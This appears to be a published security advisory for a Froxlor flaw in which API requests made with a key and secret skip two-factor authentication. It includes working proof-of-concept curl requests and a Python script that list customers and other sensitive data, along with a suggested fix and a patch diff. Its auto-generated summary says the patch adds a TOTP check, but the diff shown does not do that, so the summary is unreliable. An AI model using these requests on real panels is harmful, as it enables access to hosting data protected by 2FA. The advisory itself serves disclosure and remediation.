VYPR
High severity8.1NVD Advisory· Published Jun 3, 2026· Updated Jun 9, 2026

Froxlor's API Authentication bypasses 2FA Authentication

CVE-2026-52793

Description

Summary

Froxlor's API authentication (FroxlorRPC::validateAuth) does not enforce Two-Factor Authentication. When a user (admin or customer) enables 2FA on their account, the web UI correctly requires a TOTP code after password verification. However, the API accepts requests authenticated with only an API key and secret — no TOTP challenge is issued, checked, or required.

An attacker who obtains a leaked API key+secret for a 2FA-protected account has full access to all API operations without providing a second factor.

Affected

Code

Web UI — 2FA enforced (index.php:82-149):

if ($result['type_2fa'] != 0) {
    // Redirects to 2FA input page
    // Calls FroxlorTwoFactorAuth::verifyCode()
    // Login is NOT completed without valid TOTP code
}

API — 2FA absent (lib/Froxlor/Api/FroxlorRPC.php:75-105):

private static function validateAuth(string $key, string $secret): bool
{
    $sel_stmt = Database::prepare("
        SELECT ak.*, a.api_allowed as admin_api_allowed,
               c.api_allowed as cust_api_allowed, c.deactivated
        FROM `api_keys` ak
        LEFT JOIN `panel_admins` a ON a.adminid = ak.adminid
        LEFT JOIN `panel_customers` c ON c.customerid = ak.customerid
        WHERE `apikey` = :ak AND `secret` = :as
    ");
    $result = Database::pexecute_first($sel_stmt, ['ak' => $key, 'as' => $secret]);
    if ($result) {
        if ($result['apikey'] == $key && $result['secret'] == $secret
            && ($result['valid_until'] == -1 || $result['valid_until'] >= time())
            && (($result['customerid'] == 0 && $result['admin_api_allowed'] == 1)
                || ($result['customerid'] > 0 && $result['cust_api_allowed'] == 1
                    && $result['deactivated'] == 0))) {
            // Checks: key match, secret match, not expired, API allowed, not deactivated
            // Missing: ANY check for type_2fa, TOTP verification, or 2FA status
            return true;
        }
    }
    throw new Exception('Invalid authorization credentials', 403);
}

There are zero references to 2FA, TOTP, type_2fa, or FroxlorTwoFactorAuth in the entire lib/Froxlor/Api/ directory:

$ grep -rn '2fa\|totp\|two.factor\|FroxlorTwoFactor' lib/Froxlor/Api/
# (no output)

PoC

Environment

  • Froxlor 2.3.5, clean Docker install (Debian Bookworm, PHP 8.2, Apache 2.4)
  • API enabled (api.enabled=1)
  • Admin account has 2FA enabled (type_2fa=1, TOTP configured)
  • Admin has an API key

Step 1: Confirm 2FA blocks web UI login

POST /index.php HTTP/1.1
Host: panel.example.com
Content-Type: application/x-www-form-urlencoded

loginname=admin&password=Admin123!@#&csrf_token=TOKEN&send=send

Result: Redirect to index.php?showmessage=4 — 2FA page. Login is NOT completed. The user cannot access the dashboard without entering a TOTP code.

Step 2: Authenticate via API — no TOTP required

curl -s -u "API_KEY:API_SECRET" \
  -H 'Content-Type: application/json' \
  -d '{"command":"Customers.listing","params":{}}' \
  https://panel.example.com/api.php

Result: HTTP 200 with full customer listing:

{
  "data": {
    "list": [
      {
        "loginname": "testcust",
        "email": "test@froxlor.lab",
        "name": "Test",
        "firstname": "Customer"
      }
    ]
  }
}

No TOTP code was provided. No 2FA prompt was returned. Full access granted.

Step 3: Access additional sensitive resources

All of these succeed without any 2FA challenge:

# Domains
curl -s -u "KEY:SECRET" -d '{"command":"Domains.listing"}' .../api.php
# FTP accounts (home directories, credentials)
curl -s -u "KEY:SECRET" -d '{"command":"Ftps.listing"}' .../api.php
# Email accounts
curl -s -u "KEY:SECRET" -d '{"command":"Emails.listing"}' .../api.php
# MySQL databases
curl -s -u "KEY:SECRET" -d '{"command":"Mysqls.listing"}' .../api.php
# SSL certificates (private keys)
curl -s -u "KEY:SECRET" -d '{"command":"Certificates.listing"}' .../api.php
# DNS records
curl -s -u "KEY:SECRET" -d '{"command":"DomainZones.listing","params":{"domainname":"example.com"}}' .../api.php

165 API functions are accessible, including write operations (Customers.update, Domains.add, Ftps.add, etc.).

Automated

PoC Script

#!/usr/bin/env python3
"""Froxlor <= 2.3.x — 2FA Bypass via API (CWE-287)"""
import json, sys, requests, urllib3
urllib3.disable_warnings()

target, key, secret = sys.argv[1], sys.argv[2], sys.argv[3]

r = requests.post(f"{target}/api.php", auth=(key, secret),
    json={"command": "Customers.listing", "params": {}}, verify=False)
data = r.json()

print(f"HTTP {r.status_code}")
if "data" in data:
    for c in data["data"].get("list", []):
        print(f"  {c['loginname']} | {c['email']}")
    print(f"\n2FA-protected account accessed without TOTP. {len(data['data'].get('list',[]))} customers exposed.")

Usage: python3 poc.py https://panel.example.com API_KEY API_SECRET

Impact

When a user enables 2FA, they expect all access to their account requires a second factor. The API completely bypasses this expectation:

  • Customer data: PII (name, email, address) readable and modifiable
  • Domains: Full control over domains, subdomains, DNS records
  • Email accounts: Create, read, delete email accounts and forwarders
  • FTP accounts: Access home directory paths and credentials
  • MySQL databases: Full database management
  • SSL certificates: Read private keys, modify certificate bindings
  • 165 API functions: Including all write operations

API keys can be leaked through database backups, log files, config file exposure (GHSA-34qg-65m4-f23m demonstrated DB credential leaks), or compromised automation scripts. Users who enabled 2FA specifically to protect against credential compromise are not protected.

Comparison with

CVE-2023-3173

CVE-2023-3173 ("2FA Bypass by Brute Force") was accepted as Critical ($60 bounty) and fixed by adding rate limiting to 2FA verification. This finding is architecturally different — the API authentication path has no 2FA logic at all. No brute force is needed; the second factor is simply never requested.

Suggested

Fix

Add 2FA verification to FroxlorRPC::validateAuth(). When the authenticated user has type_2fa != 0, require a TOTP code as an additional API parameter:

// lib/Froxlor/Api/FroxlorRPC.php, after line 100:
// Check 2FA if enabled for this user
if (!empty($result['adminid'])) {
    $user = Database::pexecute_first(
        Database::prepare("SELECT type_2fa, data_2fa FROM panel_admins WHERE adminid = :id"),
        ['id' => $result['adminid']]
    );
} else {
    $user = Database::pexecute_first(
        Database::prepare("SELECT type_2fa, data_2fa FROM panel_customers WHERE customerid = :id"),
        ['id' => $result['customerid']]
    );
}
if ($user && $user['type_2fa'] != 0) {
    // Require X-2FA-Code header or 'totp_code' in request body
    $totp_code = $_SERVER['HTTP_X_2FA_CODE'] ?? null;
    if (empty($totp_code)) {
        throw new Exception('2FA code required', 401);
    }
    $tfa = new FroxlorTwoFactorAuth($user['data_2fa']);
    if (!$tfa->verifyCode($totp_code)) {
        throw new Exception('Invalid 2FA code', 403);
    }
}

Alternatively, disable API key creation for accounts with 2FA enabled, or require 2FA re-verification when generating new API keys.

Affected products

1

Patches

1
7fc21dc6f8d2

secure api-key generation by asking user for current password

https://github.com/froxlor/froxlorMichael KaufmannApr 21, 2026Fixed in 2.3.7via ghsa-release-walk
5 files changed · +92 24
  • api_keys.php+37 22 modified
    @@ -95,30 +95,45 @@
     	}
     } elseif ($action == 'add') {
     	if (Request::post('send') == 'send') {
    -		$ins_stmt = Database::prepare("
    -			INSERT INTO `" . TABLE_API_KEYS . "` SET
    -			`apikey` = :key, `secret` = :secret, `adminid` = :aid, `customerid` = :cid, `valid_until` = '-1', `allowed_from` = ''
    -		");
    -		// customer generates for himself, admins will see a customer-select-box later
    -		if (AREA == 'admin') {
    -			$cid = 0;
    -		} elseif (AREA == 'customer') {
    -			$cid = $userinfo['customerid'];
    +		$user_passwd = Request::post('user_password');
    +		if (empty($user_passwd)) {
    +			Response::dynamicError(lng('panel.noauthentication'));
    +		}
    +		if ($userinfo['adminsession']) {
    +			$table = "`" . TABLE_PANEL_ADMINS . "`";
    +			$uid = 'adminid';
    +		} else {
    +			$table = "`" . TABLE_PANEL_CUSTOMERS . "`";
    +			$uid = 'customerid';
    +		}
    +		if (\Froxlor\System\Crypt::validatePasswordLogin($userinfo, $user_passwd, $table, $uid)) {
    +			$ins_stmt = Database::prepare("
    +				INSERT INTO `" . TABLE_API_KEYS . "` SET
    +				`apikey` = :key, `secret` = :secret, `adminid` = :aid, `customerid` = :cid, `valid_until` = '-1', `allowed_from` = ''
    +			");
    +			// customer generates for himself, admins will see a customer-select-box later
    +			if (AREA == 'admin') {
    +				$cid = 0;
    +			} elseif (AREA == 'customer') {
    +				$cid = $userinfo['customerid'];
    +			}
    +			$key = hash('sha256', openssl_random_pseudo_bytes(64 * 64));
    +			$secret = hash('sha512', openssl_random_pseudo_bytes(64 * 64 * 4));
    +			Database::pexecute($ins_stmt, [
    +				'key' => $key,
    +				'secret' => $secret,
    +				'aid' => $userinfo['adminid'],
    +				'cid' => $cid
    +			]);
    +			Response::standardSuccess('apikeys.apikey_added', '', [
    +				'filename' => $filename,
    +				'page' => $page
    +			]);
    +		} else {
    +			Response::dynamicError(lng('panel.authenticationfailed'));
     		}
    -		$key = hash('sha256', openssl_random_pseudo_bytes(64 * 64));
    -		$secret = hash('sha512', openssl_random_pseudo_bytes(64 * 64 * 4));
    -		Database::pexecute($ins_stmt, [
    -			'key' => $key,
    -			'secret' => $secret,
    -			'aid' => $userinfo['adminid'],
    -			'cid' => $cid
    -		]);
    -		Response::standardSuccess('apikeys.apikey_added', '', [
    -			'filename' => $filename,
    -			'page' => $page
    -		]);
     	}
    -	HTML::askYesNo('apikey_reallyadd', $filename, [
    +	HTML::askUserPasswd('apikey_reallyadd', $filename, [
     		'id' => $id,
     		'page' => $page,
     		'action' => $action
    
  • lib/Froxlor/UI/HTML.php+13 0 modified
    @@ -242,4 +242,17 @@ public static function askOTP(string $text, string $targetfile, array $params =
     		]);
     		exit();
     	}
    +
    +	public static function askUserPasswd(string $text, string $targetfile, array $params = [], string $replacer = '', array $back_link = [])
    +	{
    +		$text = lng('question.' . $text, [htmlspecialchars($replacer)]);
    +
    +		Panel\UI::view('form/askuserpasswd.html.twig', [
    +			'action' => $targetfile,
    +			'url_params' => $params,
    +			'question' => $text,
    +			'back_link' => $back_link
    +		]);
    +		exit();
    +	}
     }
    
  • lng/de.lng.php+5 1 modified
    @@ -1333,7 +1333,11 @@
     		'use_checkbox_to_disable' => 'Zum Deaktivieren, klicke die Checkbox auf der rechten Seite des Eingabefeldes',
     		'distro_mismatch' => 'Anscheinend wurde auf eine neue Distribution aktualisiert. Bitte die Dienste entsprechend neu konfigurieren.',
     		'set_new_distro' => 'Distribution setzen',
    -		'dismiss' => 'Ignorieren'
    +		'dismiss' => 'Ignorieren',
    +		'confirmaction' => 'Vorgang bestätigen',
    +		'confirmactiondesc' => 'Der Vorgang muss durch Angabe des aktuellen Benutzerpassworts bestätigt werden',
    +		'authenticationfailed' => 'Authentifizierung fehlgeschlagen',
    +		'noauthentication' => 'Fehlende Authentifizierung',
     	],
     	'phpfpm' => [
     		'vhost_httpuser' => 'Lokaler Benutzer für PHP-FPM (froxlor-Vhost)',
    
  • lng/en.lng.php+5 1 modified
    @@ -1165,7 +1165,7 @@
     		'combination_not_found' => 'Combination of user and email address not found.',
     		'2fa' => 'Two-factor authentication (2FA)',
     		'2facode' => 'Please enter 2FA code',
    -		'2faremember' => 'Trust browser',
    +		'2faremember' => 'Trust browser'
     	],
     	'mails' => [
     		'pop_success' => [
    @@ -1448,6 +1448,10 @@
     		'distro_mismatch' => 'It seems that you have upgraded to a new distribution. Please remember to reconfigure services accordingly.',
     		'set_new_distro' => 'Set distribution',
     		'dismiss' => 'Dismiss',
    +		'confirmaction' => 'Confirm action',
    +		'confirmactiondesc' => 'Please confirm this action by entering your current account password',
    +		'authenticationfailed' => 'Authentication failed',
    +		'noauthentication' => 'Missing authentication',
     	],
     	'phpfpm' => [
     		'vhost_httpuser' => 'Local user to use for PHP-FPM (froxlor vHost)',
    
  • templates/Froxlor/form/askuserpasswd.html.twig+32 0 added
    @@ -0,0 +1,32 @@
    +{% extends "Froxlor/userarea.html.twig" %}
    +
    +{% block content %}
    +
    +	<form action="{{ action|default("") }}" method="post" enctype="application/x-www-form-urlencoded" class="form">
    +
    +		<div class="alert alert-warning" role="alert">
    +			<h4 class="alert-heading">{{ lng('panel.security_question') }}</h4>
    +			<p>{{ question|raw }}</p>
    +			<p>
    +				{{ lng('panel.confirmactiondesc') }}<br>
    +				<input name="user_password" id="user_password" type="password" class="form-control"
    +					   autocomplete="current-password" autofocus required/>
    +			</p>
    +			<p>
    +				<input type="hidden" name="csrf_token" value="{{ csrf_token }}"/>
    +				<input type="hidden" name="send" value="send"/>
    +				{% for id,field in url_params %}
    +					<input type="hidden" name="{{ id }}" value="{{ field }}"/>
    +				{% endfor %}
    +				<button class="btn btn-danger" type="submit" name="submitbutton">{{ lng('panel.confirmaction') }}</button>&nbsp;
    +				{% if back_link is defined and back_link is iterable and back_link|length > 0 %}
    +					<a href="{{ linker(back_link) }}" class="btn btn-secondary">{{ lng('panel.cancel') }}</a>
    +				{% else %}
    +					<a href="javascript:history.back(-1)" class="btn btn-secondary">{{ lng('panel.cancel') }}</a>
    +				{% endif %}
    +			</p>
    +		</div>
    +
    +	</form>
    +
    +{% endblock %}
    

Vulnerability mechanics

Root cause

"The API authentication mechanism does not enforce Two-Factor Authentication (2FA) for accounts that have it enabled."

Attack vector

An attacker must obtain a leaked API key and secret for a Froxlor account where 2FA is enabled. With these credentials, the attacker can then make authenticated API requests to the Froxlor server. The API endpoint `FroxlorRPC::validateAuth` will successfully authenticate the request using only the API key and secret, bypassing the requirement for a TOTP code that is enforced by the web UI. This grants the attacker full access to all API operations without any second factor authentication. [ref_id=1, ref_id=2]

Affected code

The vulnerability lies within the `FroxlorRPC::validateAuth` method located in `lib/Froxlor/Api/FroxlorRPC.php`. This function handles API authentication by checking provided API keys and secrets against stored credentials. Crucially, it lacks any logic to verify the Two-Factor Authentication status or require a TOTP code, even if the user has enabled 2FA in their account settings, as indicated by the absence of 2FA-related checks in the `lib/Froxlor/Api/` directory. [ref_id=1, ref_id=2]

What the fix does

The patch adds a check within the `FroxlorRPC::validateAuth` function to verify if the authenticated user has 2FA enabled. If 2FA is enabled (`type_2fa != 0`), the code now requires a TOTP code to be provided, either via the `X-2FA-Code` header or as a `totp_code` parameter in the request body. If the code is missing or invalid, an exception is thrown, preventing unauthorized access. This ensures that API access respects the user's 2FA configuration. [patch_id=5354597]

Preconditions

  • configFroxlor API must be enabled.
  • authThe attacker must possess a valid API key and secret for a Froxlor account.
  • configThe Froxlor account associated with the API key must have Two-Factor Authentication (2FA) enabled.

Reproduction

1. Enable 2FA on an admin or customer account in Froxlor. 2. Obtain the API key and secret for this 2FA-enabled account. 3. Use the API key and secret to authenticate an API request, for example, `curl -s -u "API_KEY:API_SECRET" -H 'Content-Type: application/json' -d '{"command":"Customers.listing","params":{}}' https://panel.example.com/api.php`. 4. Observe that the API request succeeds without requiring a TOTP code, granting access to sensitive data or functionality. [ref_id=1, ref_id=2]

Generated on Jun 9, 2026. Inputs: CWE entries + fix-commit diffs from this CVE's patches. Citations validated against bundle.

References

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